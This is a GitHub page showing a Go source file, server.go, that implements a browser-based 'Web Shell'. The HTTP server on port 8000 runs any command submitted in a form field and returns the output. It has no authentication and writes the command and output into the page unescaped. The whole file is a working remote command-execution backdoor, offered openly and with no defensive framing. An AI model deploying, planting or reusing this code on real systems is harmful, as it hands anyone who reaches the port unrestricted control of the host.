-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathserver.go
115 lines (83 loc) · 1.9 KB
/
server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
package main
import (
"io"
"net/http"
"log"
"os/exec"
"strings"
)
var com string
var com_tail string
var commandResp string
// func hello(w http.ResponseWriter, r *http.Request) {
// io.WriteString(w, com + com_tail)
// params := r.URL.String()
// if params != "/" {
// log.Println(strings.Split(params[2:], "&"))
// }
// }
// func first(w http.ResponseWriter, r *http.Request) {
// io.WriteString(w, "First page!")
// }
func getPost(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
if r.Method == "GET" {
log.Println("GET")
io.WriteString(w, com + com_tail)
} else if r.Method == "POST" {
log.Println("POST")
output := execCommand(r.FormValue("cmd"))
commandResp = "<br/><b>" + r.FormValue("cmd") + "</b><br/>" + output + "<br/><br/>" + commandResp
io.WriteString(w, com + commandResp + com_tail)
}
}
func execCommand(cmd string) string {
args := strings.Split(cmd, " ")
out, err := exec.Command( args[0], args[1:]... ).Output()
if err != nil {
log.Println(cmd + " not found");
log.Println(err)
return cmd + " not found"
}
log.Println(string(out))
return strings.Join(strings.Split(string(out), "\n"), "<br/>")
}
func main() {
com = `
<!DOCTYPE html>
<html>
<head>
<title>Web Shell</title>
</head>
<body>
<center>
<h1>
Web shell
</h1>
</center>
<div style="width: 100%;">
<div style="float:left; width: 49%">
<p>
Enter here your commands. Remember to use the full path (eg: /bin/ls):
</p>
<p>
<form method="post">
$: <input type="text" name="cmd"></input>
</form>
</p>
`
com_tail = `
</div>
<div style="float:right; width: 49%">
<img src="https://s-media-cache-ak0.pinimg.com/736x/77/90/3b/77903bc1264c3cb6a54d233a58ef72fc.jpg" style="width:100%;">
</div>
</div>
<div style="clear:both">
</div>
</body>
</html>
`
commandResp = ""
http.HandleFunc("/", getPost)
http.ListenAndServe(":8000", nil)
}